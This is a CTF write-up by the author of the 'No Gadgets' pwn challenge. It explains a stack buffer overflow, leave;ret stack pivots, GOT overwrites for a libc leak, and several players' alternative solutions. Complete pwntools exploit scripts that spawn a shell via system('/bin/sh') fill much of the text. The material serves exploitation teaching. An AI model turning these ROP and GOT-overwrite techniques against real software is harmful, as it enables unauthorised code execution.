No Gadgets
ROPing using `leave ; ret` rather than `pop rdi ; ret`
Background
No Gadgets
was an easy rated pwn I created for this CTF. The premise was based around the fact that pop rdi ; ret
is no longer present in binaries compiled against glibc 2.34+
. While a lot of challenges will add this gadget back in manually, I wondered whether you could still solve an overflow challenge without this seemingly essential gadget.
The process of crafting this challenge is what lead me to discover some of the techniques that I've detailed in this section of my blog, including the gets
techniques.
I decided that using gets
would make the challenge trivial, so I purposefully decided to not use it, instead opting for using leave ; ret
to control rbp
, which allowed you to get arbitrary writes to the GOT
.
Anyways, enough yapping, onto the challenge itself.
Analysis
Analyzing the source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BANNER \
"———————————————————————————————\n" \
"⠀⣞⢽⢪⢣⢣⢣⢫⡺⡵⣝⡮⣗⢷⢽⢽⢽⣮⡷⡽⣜⣜⢮⢺⣜⢷⢽⢝⡽⣝\n" \
"⠸⡸⠜⠕⠕⠁⢁⢇⢏⢽⢺⣪⡳⡝⣎⣏⢯⢞⡿⣟⣷⣳⢯⡷⣽⢽⢯⣳⣫⠇\n" \
"⠀⠀⢀⢀⢄⢬⢪⡪⡎⣆⡈⠚⠜⠕⠇⠗⠝⢕⢯⢫⣞⣯⣿⣻⡽⣏⢗⣗⠏⠀\n" \
"⠀⠪⡪⡪⣪⢪⢺⢸⢢⢓⢆⢤⢀⠀⠀⠀⠀⠈⢊⢞⡾⣿⡯⣏⢮⠷⠁⠀⠀ \n" \
"⠀⠀⠀⠈⠊⠆⡃⠕⢕⢇⢇⢇⢇⢇⢏⢎⢎⢆⢄⠀⢑⣽⣿⢝⠲⠉⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠀⡿⠂⠠⠀⡇⢇⠕⢈⣀⠀⠁⠡⠣⡣⡫⣂⣿⠯⢪⠰⠂⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⡦⡙⡂⢀⢤⢣⠣⡈⣾⡃⠠⠄⠀⡄⢱⣌⣶⢏⢊⠂⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⢝⡲⣜⡮⡏⢎⢌⢂⠙⠢⠐⢀⢘⢵⣽⣿⡿⠁⠁⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠨⣺⡺⡕⡕⡱⡑⡆⡕⡅⡕⡜⡼⢽⡻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⣼⣳⣫⣾⣵⣗⡵⡱⡡⢣⢑⢕⢜⢕⡝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⣴⣿⣾⣿⣿⣿⡿⡽⡑⢌⠪⡢⡣⣣⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⡟⡾⣿⢿⢿⢵⣽⣾⣼⣘⢸⢸⣞⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠁⠇⠡⠩⡫⢿⣝⡻⡮⣒⢽⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"——————————No gadgets?——————————\n"
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
char buf[0x80];
setup();
puts(BANNER);
puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
printf("Data: ");
fgets(buf, 0x1337, stdin);
if (strlen(buf) > sizeof(buf)) {
puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
exit(EXIT_FAILURE);
} else {
puts("Pathetic, 'tis but a scratch!");
}
return 0;
}
The application is quite simple, it just prompts the user for input, and reads too much data onto the stack leading to a classic buffer overflow. It then checks the string length to check for a buffer overflow, and if an overflow is detected it exit
s so that main
doesn't return. Otherwise it returns normally.
Protections
Running checksec
yields:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
So we're dealing with pretty standard protections, minus PIE
. The lack of canary and PIE
will make our overflow feasible, and no NX
means no shellcode (oh well, who needs shellcode anyways).
Intended Solution
Disclaimer
The following is my intended solution, however after reading some of the other solutions from other players, I quickly realised that mine was overcomplicated. While they (mostly) used the same techniques that I wanted to cover, they were able to use them in a simpler and more concise way. I will briefly go over a few of them at the end.
Exploitation
Bypass strlen
check
strlen
checkThe first problem we face is the buffer overflow check, however fortunately for us this is a flimsy check. The string length is the number of bytes before a terminating null byte, however fgets
doesn't stop us from writing null bytes of our own, so we could place a null byte at the beginning of the buffer to force strlen
to return a value less than 0x80
, hence bypassing the check.
Finding gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 68
Due to the program being compiled to run on glibc versions 2.34 and above, the __libc_csu_init
function is no longer present, and so most of the useful pop
gadgets are gone, like pop rdi ; ret
. This stops us using the classic ret2plt
attack, where we can call puts
on some address containing a libc address, to get a leak. Instead we need to leak libc using ROP in a different way, and for that we need other gadgets.
Most of the gadgets found by ROPgadget
aren't very useful, except for leave ; ret
. This is a gadget found at the end of some functions, like main
in this case, which aids in switching between stack frames. It does this by restoring the old rbp
of the calling function (saved base pointer), moving rsp
up and returning. leave
is effectively
mov rsp, rbp
pop rbp
rbp
here points to the saved base pointer, so moving it into rsp
allows it to then be popped into rbp
. Then the return address is stored directly afterwards, so then the ret
returns to the previous code.
Example (some function called by main):
|------------------------|
| return address |
|------------------------|
----> | saved base pointer |
| |------------------------|
| | |
| | char buf[0x80] |
| | |
| |------------------------|
| | return address | <--- [rbp+8]
| |------------------------|
------| saved base pointer | <--- [rbp]
|------------------------|
| |
| local variables |
| |
|------------------------| <--- [rsp]
After leave ; ret
:
|------------------------|
| return address | <--- [rbp+8]
|------------------------|
----> | saved base pointer | <--- [rbp]
| |------------------------|
| | |
| | char buf[0x80] |
| | |
| |------------------------| <--- [rsp]
| | return address |
| |------------------------|
------| saved base pointer |
|------------------------|
| |
| local variables |
| |
|------------------------|
If you want more info, you can go here.
Rough exploit plan
rbp
is used to keep track of where the variables stored in a stack frame are. You can see this in action when looking at the disassembly. The following is from the call to fgets
.

fgets
gadgetThe address of the buffer is relative to rbp
(as would other variables, if there were others).
In our buffer overflow, we don't only overwrite the return address, but also the saved base pointer, which would then get loaded into rbp
, due to leave
. So with our overflow, we can control rbp
, and we also have the above gadget which writes arbitrary data to the buffer at [rbp-0x80]
, so combining these theoretically grants an arbitrary write.
But what to overwrite? Remember we don't have a leak, so we're limited to the binary's memory. Recall that the binary has Partial RELRO
, which means the GOT
is writable!
An appealing target is strlen@GOT
, because it's a function that takes one argument: our buffer! So we could either:
overwrite
strlen@GOT -> puts@PLT
and pointbuf
to aGOT
entryoverwrite
strlen@GOT -> printf@PLT
and pointbuf
to a format string
Once we have a libc leak, the ret2libc should be trivial, because libc has a pop rdi
gadget.
Getting arbitrary writes

GOT
So to get an arbitrary write onto strlen@GOT
, we'll need to set rbp
to &strlen@GOT + 0x80
(since the fgets
gadget uses [rbp-0x80]
), and rip
to the fgets
gadget. This is easily done in the first overflow, but then what? Well we'll run through the rest of the main function and hit leave ; ret
again. Running through what leave
does, we see that it copies rbp
to rsp
, then pops rbp
and rip
. Since rbp
is 0x80
bytes after our data input, we can use the overflow to control rbp
and rip
again! (and we can do this for any rbp
)
However we run into a problem when going with this approach.

If we wrote to the earliest possible address 0x404000
, then rbp = 0x404080
. But the entries for stdin
, stdout
, stderr
are between our write and rbp
, and since we don't have a libc leak, we can't overwrite these without corrupting them and causing a crash.
This is why we need to make another write to 0x404080
first, to fill in a fake saved rbp
and rip
.
A naive approach to implement the above could look as follows:
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()
leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68
overflow = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)
gdb.attach(p)
fake_rbp_rip = p64(0xdead) + p64(0xbeef) # blank for now!
fake_rbp_rip = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(0x404000+0x80)
fake_rbp_rip += p64(fgets_gadget)
p.sendline(fake_rbp_rip)
overwrite = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts) # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)
p.sendline(overwrite)
p.interactive()
This will fail for another reason (which isn't due to my incompetence (hopefully!)), which is easier to see in gdb.

GOT
overwriteHere we get to the point where we're about to overwrite the GOT
with fgets, but see something interesting. Since we've done multiple leave
s, we've stack pivoted to the writable region. This on its own isn't a huge deal, but since it's so close to all the important addresses in the GOT
, there's a good chance that the stack usage for the call to fgets
will clobber them.

GOT
overwrite. The telescope view shows that the GOT
is clobbered by the stack variables.And clobber them it does!
So we need to be more careful about where rsp
is. Fortunately most functions used in main
don't use that much stack space (except for printf
, which we can skip), so as long as rsp
is further along in the writable region, its stack usage won't clobber anything. We can achieve this by using an extra leave ; ret
.
Recall that after leave ; ret
, rsp
points to directly after the saved rbp and rip (due to popping), and since we want rsp
at a higher address, we can place our own saved rbp
and rip
pairs at high addresses. Then for the initial leave ; ret
(at the end of main), we set rbp
to point to that pair, and rip
to leave ; ret
. That way we control rbp
and rip
, while also having rsp
be far enough to prevent clobbering!
Getting libc leak
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()
leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68
high_addr = 0x404800
overflow = b"\x00".ljust(0x80, b"A")
overflow += p64(high_addr+0x80)
overflow += p64(fgets_gadget)
p.sendlineafter(b"Data: ", overflow)
p.recvline()
overflow = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
# rbp,rip pair at high address
overflow += p64(0x404000+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)
p.recvline()
gdb.attach(p)
fake_rbp_rip = p64(0xdead) + p64(0xbeef) # blank for now!
fake_rbp_rip = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(high_addr+0x90)
fake_rbp_rip += p64(leave_ret)
p.sendline(fake_rbp_rip)
p.recvline()
overwrite = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts) # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)
p.sendline(overwrite)
libc_leak = u64(p.recv(6) + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")
libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")
p.interactive()
Applying this gives us the script above, which successfully leaks libc base. We overwrite strlen@GOT
to puts@PLT
(not printf@PLT
because it uses a lot of stack space), and after we overwrite GOT
, strlen
gets called. The way it's set up is that buf -> puts@GOT
, which is now puts@PLT + 6
. But when strlen
gets called, puts
is called, which resolves puts@GOT
in time for buf
to now point to puts@LIBC
, giving us a leak!
And we don't have to worry about the return value being greater than 0x80
, because puts
returns the number of bytes outputted, which would be 7
(6
for the address, 1
for the newline).
Getting a shell
From here getting a shell is trivial. Since we have libc, we can easily find all the gadgets we need, so all we need is to write another rop chain which calls system("/bin/sh")
. In my rop chain I used system
, which also uses a lot of stack space, so I made rsp
point to a further up location again, but you could just use execv
and not face this problem.
Solver
#!/usr/bin/python3
from pwn import *
e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()
def send(data, prompt=False, leak=False):
ret = None
if prompt:
p.recvuntil(b"Data: ")
assert b"\n" not in data
p.sendline(data)
if leak:
ret = p.recv(6)
p.recv(1) # newline
p.recvline()
return ret
got = 0x404000
new_rsp = got+0x800 # sufficiently large to not interfere with GOT
addr_switch = new_rsp + 0x100
# address of final rop chain
# also sufficiently large for system
addr_rop = new_rsp + 0x400
leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68 # fgets(rbp-0x80, 0x80, stdin) ; strlen(rbp-0x80) ; leave ; ret
# the idea of "switching" is 2 consecutive "leave ; ret" gadgets
# such that rbp is controlled to a value we want
# as our gets_gadget and fgets_gadget relies on rbp
# AND also ensuring rsp is a sufficiently large address
# such that the stack activity in the writable section doesn't interfere with GOT
# or cause a crash
# the first "leave ; ret" sets rbp to point to a pair of "saved rbp | return address"
# stored at `addr_switchX`, and call it new_rbp | new_ret
# and triggers a second "leave ; ret" to then pop new_rbp into rbp, and return to new_ret
# the 2nd "leave ; ret" also sets rsp to `addr_switchX`
# which for our purposes is a sufficiently large address
rbp_rip = lambda rbp, rip: p64(rbp) + p64(rip)
switch = lambda i: rbp_rip(addr_switch+0x10*(i-1), leave_ret)
# setup pivot to writable region
overflow = b"\x00".ljust(0x80, b"A")
overflow += p64(new_rsp) # saved rbp
overflow += p64(fgets_gadget) # return address
send(overflow, prompt=True)
# rsp -> [stack]
# rbp -> new_rsp
# fgets(rbp-0x80) -> fgets(new_rsp-0x80)
# overflow
data = b"\x00".ljust(0x80, b"A")
data += rbp_rip(got+0x100, fgets_gadget)
# pad upto addr_switch
data += b"B" * (addr_switch - (new_rsp-0x80+len(data)))
# fgets(got) for a GOT overwrite
data += rbp_rip(got+0x80, fgets_gadget) # switch1
# fgets() for final ROP payload
data += rbp_rip(addr_rop, fgets_gadget) # switch2
send(data)
# rsp -> new_rsp+0x10 (+0x10 due to "pop rbp" and "ret")
# rbp -> got+0x100
# fgets(rbp-0x80) -> fgets(got+0x80)
# got+0x80
fake_rbp_rip = switch(2)
# overflow to do switch1
fake_rbp_rip = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += switch(1)
send(fake_rbp_rip)
# overwrite GOT
# change strlen@GOT -> puts@PLT
# so that strlen(buf) leaks puts@GOT
overwrite = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts) # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)
# after overwriting strlen@GOT -> puts@PLT
# the GOT buffer is printed back to us due to strlen(rbp-0x80)
# at the start of the buffer is puts@GOT
# (which is resolved by the time of the call to puts)
# so &puts is leaked
libc_leak = send(overwrite, leak=True)
libc_leak = u64(libc_leak + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")
libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")
# switch(2) is done immediately afterwards
# to then write data to addr_rop
# time for a classic ret2libc
# (addr_rop is sufficiently large enough for system's stack)
pop_rdi = libc.address + 0x2a3e5
ret = pop_rdi + 1
payload = b"\x00".ljust(0x80, b"A")
payload += p64(0)
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(ret)
payload += p64(libc.sym.system)
send(payload)
p.interactive()
Other solutions
While the above solution works, there's a lot of fiddling around with stack frames, rbp
and rsp
which makes it a bit clumsy at times.
Many other solutions were able to use the idea of overwriting the GOT in a more effective way. strlen@GOT
was still a prime target for overwrites, as I had intended, however the way it was used was interesting.
What caused me problems was that I would overwrite strlen@GOT
to point directly to a puts
function, which returns normally, then I would reach the end of main
, which forced me to use the return address to continue execution, which led to stack fiddling nonsense.
Neatest solution
However many solutions were able to keep rsp
on the stack the whole time. My favourite one was by laxa, which overwrote strlen@GOT
to the part in main
which called printf
, without setting arguments.

This allowed them to call printf
on the GOT
, but was also able to immediately write to the GOT
again, as the call to fgets
was immediately afterwards. Then with the leak, they could overwrite strlen@GOT
again to system
.
Fun with (fun)lockfile
The funniest one was one by Nauxuron, which used a quirk of printf
that placed a pointer to funlockfile
in rdi
after returning, so that they could then call puts
on that to get a libc leak.

printf("Data: ")
Interestingly when I was designing this challenge, I was using gets
, and discovered some nifty unintended solutions which also relied on a certain value being into rdi
after a call (to gets
in this case), which led to the ret2gets page. While I fixed that, I did not anticipate this happening with printf
, because why on earth would this happen??
After looking at glibc source code (yes I was that curious), I found out why. Just like with ret2gets, it's actually to do with unlocking happening at the end of the function, specifically here (and here when buffered).
_IO_funlockfile (s);
_IO_cleanup_region_end (0);
return done;
}
The important macros here are __libc_cleanup_region_start
and __libc_cleanup_region_end
, defined here.
/* Start critical region with cleanup. */
#define __libc_cleanup_region_start(DOIT, FCT, ARG) \
{ bool _cleanup_start_doit; \
struct _pthread_cleanup_buffer _buffer; \
/* Non-addressable copy of FCT, so that we avoid indirect calls on \
the non-unwinding path. */ \
void (*_cleanup_routine) (void *) = (FCT); \
_buffer.__arg = (ARG); \
if (DOIT) \
{ \
_cleanup_start_doit = true; \
_buffer.__routine = _cleanup_routine; \
__libc_cleanup_push_defer (&_buffer); \
} \
else \
_cleanup_start_doit = false;
/* End critical region with cleanup. */
#define __libc_cleanup_region_end(DOIT) \
if (_cleanup_start_doit) \
__libc_cleanup_pop_restore (&_buffer); \
if (DOIT) \
_cleanup_routine (_buffer.__arg); \
} /* matches __libc_cleanup_region_start */
printf
stores a _pthread_cleanup_buffer
to keep track of how to cleanup the FILE
when the function returns. It does this by storing a cleanup routine, and an argument, which would be the FILE
. This is where that happens (in buffered_vfprintf
because the challenge unbuffered stdout
).
/* Lock stream. */
__libc_cleanup_region_start (1, (void (*) (void *)) &_IO_funlockfile, s);
_IO_flockfile (s);
Huh look at that, the __routine
is _IO_funlockfile
, and if we look at _pthread_cleanup_buffer.
/* Cleanup buffers */
struct _pthread_cleanup_buffer
{
void (*__routine) (void *); /* Function to call. */
void *__arg; /* Its argument. */
int __canceltype; /* Saved cancellation type. */
struct _pthread_cleanup_buffer *__prev; /* Chaining of cleanup functions. */
};
The __routine
is stored at the start. And lastly, in __libc_cleanup_region_end
, there's this line.
__libc_cleanup_pop_restore (&_buffer);
So this cleanup buffer is passed to a function (that I'm personally surprised isn't inlined), and rdi
doesn't get changed at all, so it ends up pointing to the cleanup buffer, with funlockfile
being the value it ends up pointing to!
But what about the cleanup routine? Interestingly funlockfile
isn't actually executed! The 0
in _IO_cleanup_region_end (0);
represents the DOIT
parameter, and if it's 0, then the function isn't called.
From what I can see, this behaviour has changed in 2.37
, at least this only happens when the application is multithreaded?
Who needs leaks anyway?
This one was by nobodyisnobody
(on discord), and it was probably my favourite, simply for how creative it was, and also how it required no leaks at all! It managed to squeeze blood out of the stone that was the limited collection of gadgets available in the binary itself!
It did this with the following gadgets:
0x00000000004010bf : add bl, al ; ... ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
By using the above gadgets, they were able to set rbp
so that rbp+0x3d
pointed to a GOT
entry, then using add dword ptr [rbp - 0x3d]
, they could add values to the GOT
entries, instead of overwriting them. This way, you don't need a libc leak, and you can change these functions to point to useful gadgets. However, to be able to do that, we need to be able to control ebx
.
That's where the top gadget comes in. You'll notice how I've added the ...
which is because this is a fairly long gadget, but not a massively complex one. It's as follows:

add bl, al
Adds al
to bl
(the lowest 8 bits of the eax
and ebx
registers respectively), then goes through a nop sled to end up in deregister_tm_clones
. This sets eax
to 0x404040
(thus setting al
to 0x40
), then just returns.
It's important to note that rbx
and rax
are set to 0
when main
returns, so the first add
does nothing to ebx
, but sets al
to 0x40
. Then if we call this gadget again, we can add 0x40
to bl
. Then we could add this to dword ptr [rbp - 0x3d]
!
So now we're able to add 0x40
, 0x80
or 0xc0
to an arbitrary dword
, but how do we use this? After all it's a fairly weak primitive, since we have such limited control over ebx
. Wouldn't it be nice if we could get pop rbx
?
Well it just so happens, when you add 0x80
to setvbuf
, you get:

setvbuf+0x80
A pop rbx
gadget! Fortunately the previous r13
checks don't pass, so we're able to reach pop rbx
. Now with complete control over ebx
, we can completely change a GOT
entry to system
, in this case we do strlen
, as our buffer is passed to it.
I cleaned up and slightly modified the script to get the following:
from pwn import *
exe = ELF("./no_gadgets")
libc = ELF("./libc.so.6") # needs debug symbols to know where __strlen_avx2 is
p = exe.process()
pop_rbp = 0x4011d5 # pop rbp ; ret
ret = 0x401016
fgets_gadget = 0x40121b
mov_al_40 = exe.sym.deregister_tm_clones # mov eax, 0x404040 ; ... ; ret
add_bl_al = 0x4010bf # add bl, al ; ... ; mov eax, 0x404040 ; ... ; ret
add_gadget = 0x40115c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret
payload = b'A'.ljust(0x80,b'\x00')
# rbp+0x3d = setvbuf@GOT
payload += p64(exe.got['setvbuf']+0x3d)
# setvbuf@GOT = setvbuf + 0x80
payload += p64(mov_al_40)
payload += p64(add_bl_al)*2
payload += p64(add_gadget)
# setvbuf+0x80 effectively does "pop rbx,rbp,r12,r13,r14 ; ret"
payload += p64(exe.sym['setvbuf'])
# ebx = system - setvbuf
payload += p64( (libc.sym['system']-libc.sym['__strlen_avx2']) % (1<<32) )
# rbp+0x3d = strlen@GOT
payload += p64(exe.got['strlen']+0x3d)
# r12,r13,r14
payload += p64(0)*3
# strlen@GOT = system
payload += p64(add_gadget)
# rbp points to something writable
payload += p64(pop_rbp) + p64(0x404e08)
# stack alignment + trigger strlen() on input
payload += p64(ret)
payload += p64(fgets_gadget)
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()
ret2dlresolve
While I didn't see any solutions using this, I always expected that it was possible, but I left it out as I thought it was more complicated than my intended.
Last updated
Was this helpful?